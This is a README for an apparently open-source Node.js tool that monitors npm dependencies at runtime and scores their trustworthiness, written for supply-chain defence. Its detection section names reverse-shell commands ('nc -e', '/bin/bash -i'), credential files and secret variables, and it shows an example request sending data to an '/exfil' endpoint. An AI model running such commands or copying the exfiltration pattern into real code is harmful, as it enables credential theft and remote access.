Runtime Dependency Behavior Monitor for Node.js
Detect software supply-chain abuse at runtime by observing what third-party npm dependencies actually do.
Modern applications depend on hundreds of third-party npm packages. While static analysis and CVE scanning help, they cannot detect:
- Zero-day malicious packages not yet in vulnerability databases
- Compromised legitimate packages (e.g., event-stream, ua-parser-js incidents)
- Dependency confusion attacks that execute malicious code at install or runtime
- Behavioral abuse that doesn't match known CVE signatures
Traditional tools tell you what dependencies are. BHEESHMA tells you what dependencies do.
BHEESHMA is a runtime behavioral security system that monitors third-party npm dependencies for:
| Behavior | Risk | What It Detects |
|---|---|---|
| Environment Variable Access | Medium | Credential theft, API key exfiltration |
| File System Reads | Low-Medium | Reconnaissance, credential file access |
| File System Writes | High | Persistence mechanisms, data exfiltration |
| Network Connections | Medium-High | Data exfiltration, C&C communication |
| HTTP/HTTPS Requests | Medium-High | Data exfiltration, suspicious service communication |
| Shell Execution | Critical | Arbitrary code execution, system compromise |
For each behavior, BHEESHMA captures:
- Timestamp (ISO 8601)
- Behavior type
- Stack trace (for attribution)
- Attributed npm package (name and version)
- Metadata (file path, host, command, etc.)
BHEESHMA calculates a deterministic trust score [0-100] for each package based on observed behaviors:
- 80-100 (LOW risk): Minimal or benign behavior
- 60-79 (MEDIUM risk): Moderate activity, review recommended
- 30-59 (HIGH risk): Elevated activity, investigation required
- 0-29 (CRITICAL risk): Highly suspicious, immediate action needed
Scoring is transparent and auditable - no machine learning, no opacity.
npm install -g bheeshmaOr use directly with npx:
npx bheeshma -- node your-app.jsMonitor any Node.js application:
bheeshma -- node app.jsSpecify output format and file:
bheeshma --format json --output report.json -- node app.jsRun with npm scripts:
bheeshma -- npm testconst bheeshma = require('bheeshma');
// Initialize monitoring with default settings
bheeshma.init();
// Your application code runs here...
require('./your-app');
// Generate report
const report = bheeshma.generateReport('cli');
console.log(report);
// Or get structured data
const scores = bheeshma.getTrustScores();
const signals = bheeshma.getSignals();// Initialize with custom configuration
bheeshma.init({
config: {
hooks: {
http: true, // Enable HTTP monitoring
fs: true, // Enable file system monitoring
net: true,
env: true,
childProcess: true
},
riskWeights: {
SHELL_EXEC: 25, // Custom risk weight
HTTP_REQUEST: 10
},
patterns: {
enabled: true,
detectCryptoMiners: true,
detectDataExfiltration: true,
detectBackdoors: true
},
whitelist: ["express@*"] // Trusted packages
}
});Create .bheeshmarc.json in your project root:
{
"hooks": {
"http": true,
"fs": true
},
"riskWeights": {
"SHELL_EXEC": 25
},
"patterns": {
"enabled": true
},
"whitelist": ["express@*"]
}Then simply:
bheeshma.init(); // Auto-loads .bheeshmarc.jsonconst bheeshma = require('bheeshma');
const { analyzePatterns } = require('bheeshma/src/patterns/patternMatcher');
bheeshma.init({ config: { patterns: { enabled: true } } });
// Run your app
require('./your-app');
// Analyze for malicious patterns
const signals = bheeshma.getSignals();
const threats = analyzePatterns(signals, {
enabled: true,
detectCryptoMiners: true,
detectDataExfiltration: true,
detectBackdoors: true
});
console.log(`Detected ${threats.summary.totalThreats} threats`);
console.log(`Highest severity: ${threats.summary.highestSeverity}`);const bheeshma = require('bheeshma');
bheeshma.monitor(() => {
// Your application code
require('./your-app');
}, { format: 'json' })
.then(({ result, report }) => {
console.log(report);
});======================================================================
BHEESHMA Runtime Dependency Behavior Report
======================================================================
Summary:
Total Packages Monitored: 3
Total Signals Captured: 12
Risk Distribution:
HIGH: 1
MEDIUM: 1
LOW: 1
📦 suspicious-package@1.0.0
Trust Score: 35/100 [HIGH]
Observed Behaviors:
🔐 ENV ACCESS: 5 occurrences
📝 FS WRITE: 2 occurrences
🌐 NET CONNECT: 1 occurrence
⚡ SHELL EXEC: 1 occurrence
📦 normal-package@2.1.0
Trust Score: 85/100 [LOW]
Observed Behaviors:
📖 FS READ: 1 occurrence
{
"version": "1.0",
"timestamp": "2026-01-18T07:30:00.000Z",
"summary": {
"totalPackages": 2,
"totalSignals": 9,
"riskDistribution": {
"critical": 0,
"high": 1,
"medium": 0,
"low": 1
}
},
"packages": [
{
"name": "suspicious-package",
"version": "1.0.0",
"trustScore": 35,
"riskLevel": "HIGH",
"signalCount": 9,
"behaviors": {
"ENV_ACCESS": 5,
"FS_READ": 0,
"FS_WRITE": 2,
"SHELL_EXEC": 1,
"NET_CONNECT": 1
}
}
],
"signals": [ /* ... */ ]
}BHEESHMA is built with security-first engineering principles:
- ✅ Zero telemetry - No outbound communication
- ✅ Local-only - All processing happens on your machine
- ✅ No cloud services - No external dependencies
- ✅ No persistent storage - Data exists only in memory during runtime
- ✅ Non-invasive hooks - Observes behavior without modifying it
- ✅ Fail-safe - Hook errors never break your application
- ✅ Reversible - Hooks can be cleanly uninstalled
- ✅ Idempotent - Safe to initialize multiple times
- ✅ Metadata only - Captures operation types and paths, never content
- ✅ No secret capture - Environment variable names only, never values
- ✅ Sanitized commands - Shell commands are redacted for common secrets
- ✅ Sanitized headers - HTTP headers are logged as [PRESENT] or [REDACTED], never full values
- ✅ No body inspection - Network payloads are never captured
BHEESHMA includes signature-based detection for common supply chain attack patterns:
- Detects known miner processes (xmrig, ethminer, cpuminer)
- Identifies mining pool connections
- Flags mining-related environment variables
- Monitors access to sensitive files (
.npmrc,.env,.aws/credentials, SSH keys) - Detects connections to paste services (pastebin, webhook.site)
- Correlation analysis: Flags packages that read sensitive files AND make HTTP requests
- Identifies reverse shell patterns (
nc -e,/bin/bash -i) - Detects suspicious listening ports (1337, 4444, 31337)
- Flags remote access tools (ngrok, localtunnel)
- Monitors access to secret environment variables (
AWS_ACCESS_KEY_ID,NPM_TOKEN) - Tracks reads of credential files
BHEESHMA intercepts all HTTP/HTTPS requests to detect:
- ✅ Direct IP address requests (bypassing DNS)
- ✅ Suspicious TLDs (.tk, .ml, .ga, .cf, .gq)
- ✅ Non-standard ports
- ✅ Pastebin-like services
Example:
// Malicious package makes request
http.request('http://192.168.1.100:8080/exfil');
// BHEESHMA detects:
// - HTTP_REQUEST signal
// - isIpAddress: true
// - indicators: ["Direct IP request", "Non-standard port: 8080"]Customize BHEESHMA behavior without modifying code:
Auto-discovery: Place .bheeshmarc.json in your project root
Validation: All config is validated to prevent malicious configurations
Flexible: Enable/disable hooks, customize risk weights, whitelist packages
Full Configuration Example:
{
"hooks": {
"env": true,
"fs": true,
"net": true,
"childProcess": true,
"http": true
},
"riskWeights": {
"SHELL_EXEC": 20,
"FS_WRITE": 10,
"HTTP_REQUEST": 10,
"HTTPS_REQUEST": 8,
"NET_CONNECT": 8,
"ENV_ACCESS": 5,
"FS_READ": 3
},
"thresholds": {
"critical": 30,
"high": 60,
"medium": 80
},
"whitelist": [
"express@*",
"@types/*"
],
"blacklist": [],
"patterns": {
"enabled": true,
"detectCryptoMiners": true,
"detectDataExfiltration": true,
"detectBackdoors": true,
"detectObfuscation": true
},
"performance": {
"track": false,
"maxSignals": 10000
},
"output": {
"formats": ["cli"],
"verbosity": "normal",
"includeStackTraces": true
}
}BHEESHMA follows a layered security architecture:
┌─────────────────────────────────────────────────┐
│ CLI / Programmatic API │
└─────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────┐
│ Output Formatters │
│ (CLI, JSON, CI/CD-ready) │
└─────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────┐
│ Trust Scoring Engine │
│ (Deterministic, Transparent) │
└─────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────┐
│ Signal Normalization Layer │
│ (Immutable, Type-Safe) │
└─────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────┐
│ Attribution Engine │
│ (Stack Trace → Package Mapping) │
└─────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────┐
│ Runtime Hooks │
│ (env, fs, net, http, https, child_process) │
└─────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────┐
│ Pattern Detection Engine │
│ (Crypto Miners, Data Exfiltration, │
│ Backdoors, Credential Theft) │
└─────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────┐
│ Configuration System │
│ (.bheeshmarc.json loader) │
└─────────────────────────────────────────────────┘
All code adheres to:
- OWASP Secure Coding Practices - Least privilege, fail-safe defaults
- CERT/SEI Secure Coding - Defensive programming, predictable errors
- Node.js Security Best Practices - Safe monkey-patching, no global pollution
This project was built using "vibe coding" - AI-assisted rapid development - but with uncompromising engineering discipline:
| Approach | Benefit |
|---|---|
| AI-assisted generation | 10x faster prototyping and iteration |
| Security-first prompts | Every component explicitly follows OWASP/CERT principles |
| Audit-ready comments | Self-documenting code with security rationale |
| Deterministic design | No ML, no non-determinism, full transparency |
The result: Production-grade security tooling delivered with startup velocity.
This demonstrates that AI-assisted development can produce audit-ready, security-grade open source when guided by strong engineering discipline.
BHEESHMA includes an offline, deterministic test harness:
npm testTests validate:
- ✅ Hook installation and teardown
- ✅ Benign dependency detection (high trust score)
- ✅ Suspicious dependency detection (low trust score)
- ✅ Signal capture for all behavior types
- ✅ Output format validity (CLI and JSON)
All tests run without network access and produce deterministic results.
BHEESHMA is not:
- ❌ A CVE scanner (use
npm auditor Snyk) - ❌ A static analysis tool (use ESLint security plugins)
- ❌ A silver bullet (defense-in-depth requires multiple layers)
BHEESHMA cannot detect:
- Runtime behaviors before hooks are installed (install early!)
- Native/C++ addons (Node.js internals only)
- Behaviors in worker threads (future work)
- Time bombs/delayed execution that occurs after monitoring stops
Best Practice: Use BHEESHMA as part of a layered security strategy alongside SCA, SAST, and dependency pinning.
Completed:
- Configuration system with validation
- HTTP/HTTPS request monitoring
- Advanced pattern detection (crypto miners, backdoors, data exfiltration)
- Malware signature database
Future enhancements:
- HTML report generation
- Whitelist/blacklist enforcement
- ESM (ES Modules) full support
- Worker thread monitoring
- DNS query monitoring
- Crypto operation monitoring
- Policy enforcement mode (block high-risk packages)
- Real-time alerts (webhooks, Slack)
- Integration with popular CI/CD platforms
Contributions welcome! This project aims to be:
- Audit-ready: Every PR should maintain security-first coding standards
- Well-documented: Code comments explain security rationale
- Test-covered: New features need offline tests
See CONTRIBUTING.md for guidelines.
Apache License 2.0
This project is licensed under the Apache License 2.0, which allows:
- ✅ Commercial use
- ✅ Modification and distribution
- ✅ Patent grant
- ✅ Private use
See LICENSE for full text.
Built with discipline by security engineers who believe AI-assisted coding can produce production-grade software when guided by strong engineering principles.
Security Frameworks Referenced:
- Issues: GitHub Issues
- Discussions: GitHub Discussions
- Security: For security vulnerabilities, email vignesh4303@gmail.com
BHEESHMA: Trust, but verify. At runtime.